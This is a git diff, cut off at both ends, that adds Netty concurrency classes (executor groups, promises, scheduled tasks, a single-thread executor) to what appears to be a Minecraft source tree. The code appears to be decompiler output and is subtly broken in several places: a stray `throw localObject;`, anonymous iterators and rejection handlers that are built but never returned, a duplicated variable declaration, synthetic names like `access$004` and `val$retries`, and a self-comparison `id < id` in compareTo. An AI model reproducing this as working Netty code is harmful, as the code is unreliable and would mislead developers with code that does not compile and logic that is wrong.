+    public EventExecutor next() {
+      return children[Math.abs(childIndex.getAndIncrement() % children.length)];
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/util/concurrent/NonStickyEventExecutorGroup.java b/src/minecraft/io/netty/util/concurrent/NonStickyEventExecutorGroup.java
new file mode 100644
index 0000000..a752ccd
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/NonStickyEventExecutorGroup.java
@@ -0,0 +1,331 @@
+package io.netty.util.concurrent;
+
+import io.netty.util.internal.ObjectUtil;
+import io.netty.util.internal.PlatformDependent;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Queue;
+import java.util.concurrent.Callable;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.RejectedExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.concurrent.atomic.AtomicInteger;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class NonStickyEventExecutorGroup
+  implements EventExecutorGroup
+{
+  private final EventExecutorGroup group;
+  private final int maxTaskExecutePerRun;
+  
+  public NonStickyEventExecutorGroup(EventExecutorGroup group)
+  {
+    this(group, 1024);
+  }
+  
+
+
+
+  public NonStickyEventExecutorGroup(EventExecutorGroup group, int maxTaskExecutePerRun)
+  {
+    this.group = verify(group);
+    this.maxTaskExecutePerRun = ObjectUtil.checkPositive(maxTaskExecutePerRun, "maxTaskExecutePerRun");
+  }
+  
+  private static EventExecutorGroup verify(EventExecutorGroup group) {
+    Iterator<EventExecutor> executors = ((EventExecutorGroup)ObjectUtil.checkNotNull(group, "group")).iterator();
+    while (executors.hasNext()) {
+      EventExecutor executor = (EventExecutor)executors.next();
+      if ((executor instanceof OrderedEventExecutor)) {
+        throw new IllegalArgumentException("EventExecutorGroup " + group + " contains OrderedEventExecutors: " + executor);
+      }
+    }
+    
+    return group;
+  }
+  
+  private NonStickyOrderedEventExecutor newExecutor(EventExecutor executor) {
+    return new NonStickyOrderedEventExecutor(executor, maxTaskExecutePerRun);
+  }
+  
+  public boolean isShuttingDown()
+  {
+    return group.isShuttingDown();
+  }
+  
+  public Future<?> shutdownGracefully()
+  {
+    return group.shutdownGracefully();
+  }
+  
+  public Future<?> shutdownGracefully(long quietPeriod, long timeout, TimeUnit unit)
+  {
+    return group.shutdownGracefully(quietPeriod, timeout, unit);
+  }
+  
+  public Future<?> terminationFuture()
+  {
+    return group.terminationFuture();
+  }
+  
+
+  public void shutdown()
+  {
+    group.shutdown();
+  }
+  
+
+  public List<Runnable> shutdownNow()
+  {
+    return group.shutdownNow();
+  }
+  
+  public EventExecutor next()
+  {
+    return newExecutor(group.next());
+  }
+  
+  public Iterator<EventExecutor> iterator()
+  {
+    final Iterator<EventExecutor> itr = group.iterator();
+    new Iterator()
+    {
+      public boolean hasNext() {
+        return itr.hasNext();
+      }
+      
+      public EventExecutor next()
+      {
+        return NonStickyEventExecutorGroup.this.newExecutor((EventExecutor)itr.next());
+      }
+      
+      public void remove()
+      {
+        itr.remove();
+      }
+    };
+  }
+  
+  public Future<?> submit(Runnable task)
+  {
+    return group.submit(task);
+  }
+  
+  public <T> Future<T> submit(Runnable task, T result)
+  {
+    return group.submit(task, result);
+  }
+  
+  public <T> Future<T> submit(Callable<T> task)
+  {
+    return group.submit(task);
+  }
+  
+  public ScheduledFuture<?> schedule(Runnable command, long delay, TimeUnit unit)
+  {
+    return group.schedule(command, delay, unit);
+  }
+  
+  public <V> ScheduledFuture<V> schedule(Callable<V> callable, long delay, TimeUnit unit)
+  {
+    return group.schedule(callable, delay, unit);
+  }
+  
+  public ScheduledFuture<?> scheduleAtFixedRate(Runnable command, long initialDelay, long period, TimeUnit unit)
+  {
+    return group.scheduleAtFixedRate(command, initialDelay, period, unit);
+  }
+  
+  public ScheduledFuture<?> scheduleWithFixedDelay(Runnable command, long initialDelay, long delay, TimeUnit unit)
+  {
+    return group.scheduleWithFixedDelay(command, initialDelay, delay, unit);
+  }
+  
+  public boolean isShutdown()
+  {
+    return group.isShutdown();
+  }
+  
+  public boolean isTerminated()
+  {
+    return group.isTerminated();
+  }
+  
+  public boolean awaitTermination(long timeout, TimeUnit unit) throws InterruptedException
+  {
+    return group.awaitTermination(timeout, unit);
+  }
+  
+  public <T> List<java.util.concurrent.Future<T>> invokeAll(Collection<? extends Callable<T>> tasks)
+    throws InterruptedException
+  {
+    return group.invokeAll(tasks);
+  }
+  
+  public <T> List<java.util.concurrent.Future<T>> invokeAll(Collection<? extends Callable<T>> tasks, long timeout, TimeUnit unit)
+    throws InterruptedException
+  {
+    return group.invokeAll(tasks, timeout, unit);
+  }
+  
+  public <T> T invokeAny(Collection<? extends Callable<T>> tasks) throws InterruptedException, ExecutionException
+  {
+    return group.invokeAny(tasks);
+  }
+  
+  public <T> T invokeAny(Collection<? extends Callable<T>> tasks, long timeout, TimeUnit unit)
+    throws InterruptedException, ExecutionException, TimeoutException
+  {
+    return group.invokeAny(tasks, timeout, unit);
+  }
+  
+  public void execute(Runnable command)
+  {
+    group.execute(command);
+  }
+  
+  private static final class NonStickyOrderedEventExecutor extends AbstractEventExecutor implements Runnable, OrderedEventExecutor
+  {
+    private final EventExecutor executor;
+    private final Queue<Runnable> tasks = PlatformDependent.newMpscQueue();
+    
+    private static final int NONE = 0;
+    
+    private static final int SUBMITTED = 1;
+    private static final int RUNNING = 2;
+    private final AtomicInteger state = new AtomicInteger();
+    private final int maxTaskExecutePerRun;
+    
+    NonStickyOrderedEventExecutor(EventExecutor executor, int maxTaskExecutePerRun) {
+      super();
+      this.executor = executor;
+      this.maxTaskExecutePerRun = maxTaskExecutePerRun;
+    }
+    
+    public void run()
+    {
+      if (!state.compareAndSet(1, 2)) {
+        return;
+      }
+      for (;;) {
+        int i = 0;
+        try {
+          for (; i < maxTaskExecutePerRun; i++) {
+            Runnable task = (Runnable)tasks.poll();
+            if (task == null) {
+              break;
+            }
+            safeExecute(task);
+          }
+        } finally {
+          if (i == maxTaskExecutePerRun) {
+            try {
+              state.set(1);
+              executor.execute(this);
+              return;
+            }
+            catch (Throwable ignore) {
+              state.set(2);
+            }
+            
+          }
+          else
+          {
+            state.set(0);
+            return; } } throw localObject;
+      }
+    }
+    
+
+
+    public boolean inEventLoop(Thread thread)
+    {
+      return false;
+    }
+    
+    public boolean inEventLoop()
+    {
+      return false;
+    }
+    
+    public boolean isShuttingDown()
+    {
+      return executor.isShutdown();
+    }
+    
+    public Future<?> shutdownGracefully(long quietPeriod, long timeout, TimeUnit unit)
+    {
+      return executor.shutdownGracefully(quietPeriod, timeout, unit);
+    }
+    
+    public Future<?> terminationFuture()
+    {
+      return executor.terminationFuture();
+    }
+    
+    public void shutdown()
+    {
+      executor.shutdown();
+    }
+    
+    public boolean isShutdown()
+    {
+      return executor.isShutdown();
+    }
+    
+    public boolean isTerminated()
+    {
+      return executor.isTerminated();
+    }
+    
+    public boolean awaitTermination(long timeout, TimeUnit unit) throws InterruptedException
+    {
+      return executor.awaitTermination(timeout, unit);
+    }
+    
+    public void execute(Runnable command)
+    {
+      if (!tasks.offer(command)) {
+        throw new RejectedExecutionException();
+      }
+      if (state.compareAndSet(0, 1))
+      {
+        try
+        {
+          executor.execute(this);
+        }
+        catch (Throwable e) {
+          tasks.remove(command);
+          PlatformDependent.throwException(e);
+        }
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/util/concurrent/OrderedEventExecutor.java b/src/minecraft/io/netty/util/concurrent/OrderedEventExecutor.java
new file mode 100644
index 0000000..7ec926b
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/OrderedEventExecutor.java
@@ -0,0 +1,5 @@
+package io.netty.util.concurrent;
+
+public abstract interface OrderedEventExecutor
+  extends EventExecutor
+{}
diff --git a/src/minecraft/io/netty/util/concurrent/ProgressiveFuture.java b/src/minecraft/io/netty/util/concurrent/ProgressiveFuture.java
new file mode 100644
index 0000000..6d517d2
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/ProgressiveFuture.java
@@ -0,0 +1,23 @@
+package io.netty.util.concurrent;
+
+public abstract interface ProgressiveFuture<V>
+  extends Future<V>
+{
+  public abstract ProgressiveFuture<V> addListener(GenericFutureListener<? extends Future<? super V>> paramGenericFutureListener);
+  
+  public abstract ProgressiveFuture<V> addListeners(GenericFutureListener<? extends Future<? super V>>... paramVarArgs);
+  
+  public abstract ProgressiveFuture<V> removeListener(GenericFutureListener<? extends Future<? super V>> paramGenericFutureListener);
+  
+  public abstract ProgressiveFuture<V> removeListeners(GenericFutureListener<? extends Future<? super V>>... paramVarArgs);
+  
+  public abstract ProgressiveFuture<V> sync()
+    throws InterruptedException;
+  
+  public abstract ProgressiveFuture<V> syncUninterruptibly();
+  
+  public abstract ProgressiveFuture<V> await()
+    throws InterruptedException;
+  
+  public abstract ProgressiveFuture<V> awaitUninterruptibly();
+}
diff --git a/src/minecraft/io/netty/util/concurrent/ProgressivePromise.java b/src/minecraft/io/netty/util/concurrent/ProgressivePromise.java
new file mode 100644
index 0000000..da972e8
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/ProgressivePromise.java
@@ -0,0 +1,31 @@
+package io.netty.util.concurrent;
+
+public abstract interface ProgressivePromise<V>
+  extends Promise<V>, ProgressiveFuture<V>
+{
+  public abstract ProgressivePromise<V> setProgress(long paramLong1, long paramLong2);
+  
+  public abstract boolean tryProgress(long paramLong1, long paramLong2);
+  
+  public abstract ProgressivePromise<V> setSuccess(V paramV);
+  
+  public abstract ProgressivePromise<V> setFailure(Throwable paramThrowable);
+  
+  public abstract ProgressivePromise<V> addListener(GenericFutureListener<? extends Future<? super V>> paramGenericFutureListener);
+  
+  public abstract ProgressivePromise<V> addListeners(GenericFutureListener<? extends Future<? super V>>... paramVarArgs);
+  
+  public abstract ProgressivePromise<V> removeListener(GenericFutureListener<? extends Future<? super V>> paramGenericFutureListener);
+  
+  public abstract ProgressivePromise<V> removeListeners(GenericFutureListener<? extends Future<? super V>>... paramVarArgs);
+  
+  public abstract ProgressivePromise<V> await()
+    throws InterruptedException;
+  
+  public abstract ProgressivePromise<V> awaitUninterruptibly();
+  
+  public abstract ProgressivePromise<V> sync()
+    throws InterruptedException;
+  
+  public abstract ProgressivePromise<V> syncUninterruptibly();
+}
diff --git a/src/minecraft/io/netty/util/concurrent/Promise.java b/src/minecraft/io/netty/util/concurrent/Promise.java
new file mode 100644
index 0000000..a90019c
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/Promise.java
@@ -0,0 +1,33 @@
+package io.netty.util.concurrent;
+
+public abstract interface Promise<V>
+  extends Future<V>
+{
+  public abstract Promise<V> setSuccess(V paramV);
+  
+  public abstract boolean trySuccess(V paramV);
+  
+  public abstract Promise<V> setFailure(Throwable paramThrowable);
+  
+  public abstract boolean tryFailure(Throwable paramThrowable);
+  
+  public abstract boolean setUncancellable();
+  
+  public abstract Promise<V> addListener(GenericFutureListener<? extends Future<? super V>> paramGenericFutureListener);
+  
+  public abstract Promise<V> addListeners(GenericFutureListener<? extends Future<? super V>>... paramVarArgs);
+  
+  public abstract Promise<V> removeListener(GenericFutureListener<? extends Future<? super V>> paramGenericFutureListener);
+  
+  public abstract Promise<V> removeListeners(GenericFutureListener<? extends Future<? super V>>... paramVarArgs);
+  
+  public abstract Promise<V> await()
+    throws InterruptedException;
+  
+  public abstract Promise<V> awaitUninterruptibly();
+  
+  public abstract Promise<V> sync()
+    throws InterruptedException;
+  
+  public abstract Promise<V> syncUninterruptibly();
+}
diff --git a/src/minecraft/io/netty/util/concurrent/PromiseAggregator.java b/src/minecraft/io/netty/util/concurrent/PromiseAggregator.java
new file mode 100644
index 0000000..f3f6675
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/PromiseAggregator.java
@@ -0,0 +1,113 @@
+package io.netty.util.concurrent;
+
+import java.util.LinkedHashSet;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Deprecated
+public class PromiseAggregator<V, F extends Future<V>>
+  implements GenericFutureListener<F>
+{
+  private final Promise<?> aggregatePromise;
+  private final boolean failPending;
+  private Set<Promise<V>> pendingPromises;
+  
+  public PromiseAggregator(Promise<Void> aggregatePromise, boolean failPending)
+  {
+    if (aggregatePromise == null) {
+      throw new NullPointerException("aggregatePromise");
+    }
+    this.aggregatePromise = aggregatePromise;
+    this.failPending = failPending;
+  }
+  
+
+
+
+  public PromiseAggregator(Promise<Void> aggregatePromise)
+  {
+    this(aggregatePromise, true);
+  }
+  
+
+
+  @SafeVarargs
+  public final PromiseAggregator<V, F> add(Promise<V>... promises)
+  {
+    if (promises == null) {
+      throw new NullPointerException("promises");
+    }
+    if (promises.length == 0) {
+      return this;
+    }
+    synchronized (this) {
+      if (pendingPromises == null) { int size;
+        int size;
+        if (promises.length > 1) {
+          size = promises.length;
+        } else {
+          size = 2;
+        }
+        pendingPromises = new LinkedHashSet(size);
+      }
+      for (Promise<V> p : promises)
+        if (p != null)
+        {
+
+          pendingPromises.add(p);
+          p.addListener(this);
+        }
+    }
+    return this;
+  }
+  
+  public synchronized void operationComplete(F future) throws Exception
+  {
+    if (pendingPromises == null) {
+      aggregatePromise.setSuccess(null);
+    } else {
+      pendingPromises.remove(future);
+      Throwable cause; if (!future.isSuccess()) {
+        cause = future.cause();
+        aggregatePromise.setFailure(cause);
+        if (failPending) {
+          for (Promise<V> pendingFuture : pendingPromises) {
+            pendingFuture.setFailure(cause);
+          }
+        }
+      }
+      else if (pendingPromises.isEmpty()) {
+        aggregatePromise.setSuccess(null);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/util/concurrent/PromiseCombiner.java b/src/minecraft/io/netty/util/concurrent/PromiseCombiner.java
new file mode 100644
index 0000000..cc19131
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/PromiseCombiner.java
@@ -0,0 +1,75 @@
+package io.netty.util.concurrent;
+
+import io.netty.util.internal.ObjectUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class PromiseCombiner
+{
+  private int expectedCount;
+  private int doneCount;
+  private boolean doneAdding;
+  private Promise<Void> aggregatePromise;
+  private Throwable cause;
+  private final GenericFutureListener<Future<?>> listener = new GenericFutureListener()
+  {
+    public void operationComplete(Future<?> future) throws Exception {
+      PromiseCombiner.access$004(PromiseCombiner.this);
+      if ((!future.isSuccess()) && (cause == null)) {
+        cause = future.cause();
+      }
+      if ((doneCount == expectedCount) && (doneAdding))
+        PromiseCombiner.this.tryPromise();
+    }
+  };
+  
+  public PromiseCombiner() {}
+  
+  public void add(Promise promise) {
+    checkAddAllowed();
+    expectedCount += 1;
+    promise.addListener(listener);
+  }
+  
+  public void addAll(Promise... promises)
+  {
+    checkAddAllowed();
+    expectedCount += promises.length;
+    for (Promise promise : promises) {
+      promise.addListener(listener);
+    }
+  }
+  
+  public void finish(Promise<Void> aggregatePromise) {
+    if (doneAdding) {
+      throw new IllegalStateException("Already finished");
+    }
+    doneAdding = true;
+    this.aggregatePromise = ((Promise)ObjectUtil.checkNotNull(aggregatePromise, "aggregatePromise"));
+    if (doneCount == expectedCount) {
+      tryPromise();
+    }
+  }
+  
+  private boolean tryPromise() {
+    return cause == null ? aggregatePromise.trySuccess(null) : aggregatePromise.tryFailure(cause);
+  }
+  
+  private void checkAddAllowed() {
+    if (doneAdding) {
+      throw new IllegalStateException("Adding promises is not allowed after finished adding");
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/util/concurrent/PromiseNotifier.java b/src/minecraft/io/netty/util/concurrent/PromiseNotifier.java
new file mode 100644
index 0000000..9973027
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/PromiseNotifier.java
@@ -0,0 +1,84 @@
+package io.netty.util.concurrent;
+
+import io.netty.util.internal.ObjectUtil;
+import io.netty.util.internal.PromiseNotificationUtil;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class PromiseNotifier<V, F extends Future<V>>
+  implements GenericFutureListener<F>
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(PromiseNotifier.class);
+  
+
+  private final Promise<? super V>[] promises;
+  
+  private final boolean logNotifyFailure;
+  
+
+  @SafeVarargs
+  public PromiseNotifier(Promise<? super V>... promises)
+  {
+    this(true, promises);
+  }
+  
+
+
+
+
+
+  @SafeVarargs
+  public PromiseNotifier(boolean logNotifyFailure, Promise<? super V>... promises)
+  {
+    ObjectUtil.checkNotNull(promises, "promises");
+    for (Promise<? super V> promise : promises) {
+      if (promise == null) {
+        throw new IllegalArgumentException("promises contains null Promise");
+      }
+    }
+    this.promises = ((Promise[])promises.clone());
+    this.logNotifyFailure = logNotifyFailure;
+  }
+  
+  public void operationComplete(F future) throws Exception
+  {
+    InternalLogger internalLogger = logNotifyFailure ? logger : null;
+    if (future.isSuccess()) {
+      V result = future.get();
+      for (Promise<? super V> p : promises) {
+        PromiseNotificationUtil.trySuccess(p, result, internalLogger);
+      }
+    } else if (future.isCancelled()) {
+      for (Promise<? super V> p : promises) {
+        PromiseNotificationUtil.tryCancel(p, internalLogger);
+      }
+    } else {
+      Throwable cause = future.cause();
+      for (Promise<? super V> p : promises) {
+        PromiseNotificationUtil.tryFailure(p, cause, internalLogger);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/util/concurrent/PromiseTask.java b/src/minecraft/io/netty/util/concurrent/PromiseTask.java
new file mode 100644
index 0000000..51931a3
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/PromiseTask.java
@@ -0,0 +1,137 @@
+package io.netty.util.concurrent;
+
+import java.util.concurrent.Callable;
+import java.util.concurrent.RunnableFuture;
+
+
+
+
+
+
+
+
+
+
+
+class PromiseTask<V>
+  extends DefaultPromise<V>
+  implements RunnableFuture<V>
+{
+  protected final Callable<V> task;
+  
+  static <T> Callable<T> toCallable(Runnable runnable, T result)
+  {
+    return new RunnableAdapter(runnable, result);
+  }
+  
+  private static final class RunnableAdapter<T> implements Callable<T> {
+    final Runnable task;
+    final T result;
+    
+    RunnableAdapter(Runnable task, T result) {
+      this.task = task;
+      this.result = result;
+    }
+    
+    public T call()
+    {
+      task.run();
+      return result;
+    }
+    
+    public String toString()
+    {
+      return "Callable(task: " + task + ", result: " + result + ')';
+    }
+  }
+  
+
+  PromiseTask(EventExecutor executor, Runnable runnable, V result)
+  {
+    this(executor, toCallable(runnable, result));
+  }
+  
+  PromiseTask(EventExecutor executor, Callable<V> callable) {
+    super(executor);
+    task = callable;
+  }
+  
+  public final int hashCode()
+  {
+    return System.identityHashCode(this);
+  }
+  
+  public final boolean equals(Object obj)
+  {
+    return this == obj;
+  }
+  
+  public void run()
+  {
+    try {
+      if (setUncancellableInternal()) {
+        V result = task.call();
+        setSuccessInternal(result);
+      }
+    } catch (Throwable e) {
+      setFailureInternal(e);
+    }
+  }
+  
+  public final Promise<V> setFailure(Throwable cause)
+  {
+    throw new IllegalStateException();
+  }
+  
+  protected final Promise<V> setFailureInternal(Throwable cause) {
+    super.setFailure(cause);
+    return this;
+  }
+  
+  public final boolean tryFailure(Throwable cause)
+  {
+    return false;
+  }
+  
+  protected final boolean tryFailureInternal(Throwable cause) {
+    return super.tryFailure(cause);
+  }
+  
+  public final Promise<V> setSuccess(V result)
+  {
+    throw new IllegalStateException();
+  }
+  
+  protected final Promise<V> setSuccessInternal(V result) {
+    super.setSuccess(result);
+    return this;
+  }
+  
+  public final boolean trySuccess(V result)
+  {
+    return false;
+  }
+  
+  protected final boolean trySuccessInternal(V result) {
+    return super.trySuccess(result);
+  }
+  
+  public final boolean setUncancellable()
+  {
+    throw new IllegalStateException();
+  }
+  
+  protected final boolean setUncancellableInternal() {
+    return super.setUncancellable();
+  }
+  
+  protected StringBuilder toStringBuilder()
+  {
+    StringBuilder buf = super.toStringBuilder();
+    buf.setCharAt(buf.length() - 1, ',');
+    buf.append(" task: ");
+    buf.append(task);
+    buf.append(')');
+    return buf;
+  }
+}
diff --git a/src/minecraft/io/netty/util/concurrent/RejectedExecutionHandler.java b/src/minecraft/io/netty/util/concurrent/RejectedExecutionHandler.java
new file mode 100644
index 0000000..f1a70e5
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/RejectedExecutionHandler.java
@@ -0,0 +1,6 @@
+package io.netty.util.concurrent;
+
+public abstract interface RejectedExecutionHandler
+{
+  public abstract void rejected(Runnable paramRunnable, SingleThreadEventExecutor paramSingleThreadEventExecutor);
+}
diff --git a/src/minecraft/io/netty/util/concurrent/RejectedExecutionHandlers.java b/src/minecraft/io/netty/util/concurrent/RejectedExecutionHandlers.java
new file mode 100644
index 0000000..1cbd5f9
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/RejectedExecutionHandlers.java
@@ -0,0 +1,72 @@
+package io.netty.util.concurrent;
+
+import io.netty.util.internal.ObjectUtil;
+import java.util.concurrent.RejectedExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.locks.LockSupport;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class RejectedExecutionHandlers
+{
+  private static final RejectedExecutionHandler REJECT = new RejectedExecutionHandler()
+  {
+    public void rejected(Runnable task, SingleThreadEventExecutor executor) {
+      throw new RejectedExecutionException();
+    }
+  };
+  
+
+  private RejectedExecutionHandlers() {}
+  
+
+  public static RejectedExecutionHandler reject()
+  {
+    return REJECT;
+  }
+  
+
+
+
+
+  public static RejectedExecutionHandler backoff(int retries, long backoffAmount, TimeUnit unit)
+  {
+    ObjectUtil.checkPositive(retries, "retries");
+    final long backOffNanos = unit.toNanos(backoffAmount);
+    new RejectedExecutionHandler()
+    {
+      public void rejected(Runnable task, SingleThreadEventExecutor executor) {
+        if (!executor.inEventLoop()) {
+          for (int i = 0; i < val$retries; i++)
+          {
+            executor.wakeup(false);
+            
+            LockSupport.parkNanos(backOffNanos);
+            if (executor.offerTask(task)) {
+              return;
+            }
+          }
+        }
+        
+
+        throw new RejectedExecutionException();
+      }
+    };
+  }
+}
diff --git a/src/minecraft/io/netty/util/concurrent/ScheduledFuture.java b/src/minecraft/io/netty/util/concurrent/ScheduledFuture.java
new file mode 100644
index 0000000..fb863e3
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/ScheduledFuture.java
@@ -0,0 +1,5 @@
+package io.netty.util.concurrent;
+
+public abstract interface ScheduledFuture<V>
+  extends Future<V>, java.util.concurrent.ScheduledFuture<V>
+{}
diff --git a/src/minecraft/io/netty/util/concurrent/ScheduledFutureTask.java b/src/minecraft/io/netty/util/concurrent/ScheduledFutureTask.java
new file mode 100644
index 0000000..05d756d
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/ScheduledFutureTask.java
@@ -0,0 +1,161 @@
+package io.netty.util.concurrent;
+
+import java.util.Queue;
+import java.util.concurrent.Callable;
+import java.util.concurrent.Delayed;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicLong;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class ScheduledFutureTask<V>
+  extends PromiseTask<V>
+  implements ScheduledFuture<V>
+{
+  private static final AtomicLong nextTaskId = new AtomicLong();
+  private static final long START_TIME = System.nanoTime();
+  
+  static long nanoTime() {
+    return System.nanoTime() - START_TIME;
+  }
+  
+  static long deadlineNanos(long delay) {
+    return nanoTime() + delay;
+  }
+  
+  private final long id = nextTaskId.getAndIncrement();
+  
+  private final Queue<ScheduledFutureTask<?>> delayedTaskQueue;
+  
+  private long deadlineNanos;
+  
+  private final long periodNanos;
+  
+  ScheduledFutureTask(EventExecutor executor, Queue<ScheduledFutureTask<?>> delayedTaskQueue, Runnable runnable, V result, long nanoTime)
+  {
+    this(executor, delayedTaskQueue, toCallable(runnable, result), nanoTime);
+  }
+  
+
+
+  ScheduledFutureTask(EventExecutor executor, Queue<ScheduledFutureTask<?>> delayedTaskQueue, Callable<V> callable, long nanoTime, long period)
+  {
+    super(executor, callable);
+    if (period == 0L) {
+      throw new IllegalArgumentException("period: 0 (expected: != 0)");
+    }
+    this.delayedTaskQueue = delayedTaskQueue;
+    deadlineNanos = nanoTime;
+    periodNanos = period;
+  }
+  
+
+
+  ScheduledFutureTask(EventExecutor executor, Queue<ScheduledFutureTask<?>> delayedTaskQueue, Callable<V> callable, long nanoTime)
+  {
+    super(executor, callable);
+    this.delayedTaskQueue = delayedTaskQueue;
+    deadlineNanos = nanoTime;
+    periodNanos = 0L;
+  }
+  
+  protected EventExecutor executor()
+  {
+    return super.executor();
+  }
+  
+  public long deadlineNanos() {
+    return deadlineNanos;
+  }
+  
+  public long delayNanos() {
+    return Math.max(0L, deadlineNanos() - nanoTime());
+  }
+  
+  public long delayNanos(long currentTimeNanos) {
+    return Math.max(0L, deadlineNanos() - (currentTimeNanos - START_TIME));
+  }
+  
+  public long getDelay(TimeUnit unit)
+  {
+    return unit.convert(delayNanos(), TimeUnit.NANOSECONDS);
+  }
+  
+  public int compareTo(Delayed o)
+  {
+    if (this == o) {
+      return 0;
+    }
+    
+    ScheduledFutureTask<?> that = (ScheduledFutureTask)o;
+    long d = deadlineNanos() - that.deadlineNanos();
+    if (d < 0L)
+      return -1;
+    if (d > 0L)
+      return 1;
+    if (id < id)
+      return -1;
+    if (id == id) {
+      throw new Error();
+    }
+    return 1;
+  }
+  
+
+  public void run()
+  {
+    assert (executor().inEventLoop());
+    try {
+      if (periodNanos == 0L) {
+        if (setUncancellableInternal()) {
+          V result = task.call();
+          setSuccessInternal(result);
+        }
+        
+      }
+      else if (!isCancelled()) {
+        task.call();
+        if (!executor().isShutdown()) {
+          long p = periodNanos;
+          if (p > 0L) {
+            deadlineNanos += p;
+          } else {
+            deadlineNanos = (nanoTime() - p);
+          }
+          if (!isCancelled()) {
+            delayedTaskQueue.add(this);
+          }
+        }
+      }
+    }
+    catch (Throwable cause) {
+      setFailureInternal(cause);
+    }
+  }
+  
+  protected StringBuilder toStringBuilder()
+  {
+    StringBuilder buf = super.toStringBuilder();
+    buf.setCharAt(buf.length() - 1, ',');
+    buf.append(" id: ");
+    buf.append(id);
+    buf.append(", deadline: ");
+    buf.append(deadlineNanos);
+    buf.append(", period: ");
+    buf.append(periodNanos);
+    buf.append(')');
+    return buf;
+  }
+}
diff --git a/src/minecraft/io/netty/util/concurrent/SingleThreadEventExecutor.java b/src/minecraft/io/netty/util/concurrent/SingleThreadEventExecutor.java
new file mode 100644
index 0000000..02a2e67
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/SingleThreadEventExecutor.java
@@ -0,0 +1,870 @@
+package io.netty.util.concurrent;
+
+import io.netty.util.internal.PlatformDependent;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.LinkedHashSet;
+import java.util.List;
+import java.util.PriorityQueue;
+import java.util.Queue;
+import java.util.Set;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.Callable;
+import java.util.concurrent.Executors;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.RejectedExecutionException;
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.ThreadFactory;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicIntegerFieldUpdater;
+
+
+
+
+
+
+
+public abstract class SingleThreadEventExecutor
+  extends AbstractEventExecutor
+{
+  private static final InternalLogger logger;
+  private static final int ST_NOT_STARTED = 1;
+  private static final int ST_STARTED = 2;
+  private static final int ST_SHUTTING_DOWN = 3;
+  private static final int ST_SHUTDOWN = 4;
+  private static final int ST_TERMINATED = 5;
+  private static final Runnable WAKEUP_TASK;
+  private static final AtomicIntegerFieldUpdater<SingleThreadEventExecutor> STATE_UPDATER;
+  private final EventExecutorGroup parent;
+  private final Queue<Runnable> taskQueue;
+  
+  static
+  {
+    logger = InternalLoggerFactory.getInstance(SingleThreadEventExecutor.class);
+    
+
+
+
+
+
+
+
+    WAKEUP_TASK = new Runnable()
+    {
+
+
+
+      public void run() {}
+
+
+
+    };
+    AtomicIntegerFieldUpdater<SingleThreadEventExecutor> updater = PlatformDependent.newAtomicIntegerFieldUpdater(SingleThreadEventExecutor.class, "state");
+    
+    if (updater == null) {
+      updater = AtomicIntegerFieldUpdater.newUpdater(SingleThreadEventExecutor.class, "state");
+    }
+    STATE_UPDATER = updater;
+  }
+  
+
+
+  final Queue<ScheduledFutureTask<?>> delayedTaskQueue = new PriorityQueue();
+  
+  private final Thread thread;
+  private final Semaphore threadLock = new Semaphore(0);
+  private final Set<Runnable> shutdownHooks = new LinkedHashSet();
+  
+  private final boolean addTaskWakesUp;
+  
+  private long lastExecutionTime;
+  private volatile int state = 1;
+  
+  private volatile long gracefulShutdownQuietPeriod;
+  
+  private volatile long gracefulShutdownTimeout;
+  
+  private long gracefulShutdownStartTime;
+  private final Promise<?> terminationFuture = new DefaultPromise(GlobalEventExecutor.INSTANCE);
+  
+
+
+
+
+
+
+
+
+
+  protected SingleThreadEventExecutor(EventExecutorGroup parent, ThreadFactory threadFactory, boolean addTaskWakesUp)
+  {
+    if (threadFactory == null) {
+      throw new NullPointerException("threadFactory");
+    }
+    
+    this.parent = parent;
+    this.addTaskWakesUp = addTaskWakesUp;
+    
+    thread = threadFactory.newThread(new Runnable()
+    {
+      public void run() {
+        boolean success = false;
+        updateLastExecutionTime();
+        try {
+          SingleThreadEventExecutor.this.run();
+          success = true;
+        } catch (Throwable t) { int oldState;
+          SingleThreadEventExecutor.logger.warn("Unexpected exception from an event executor: ", t);
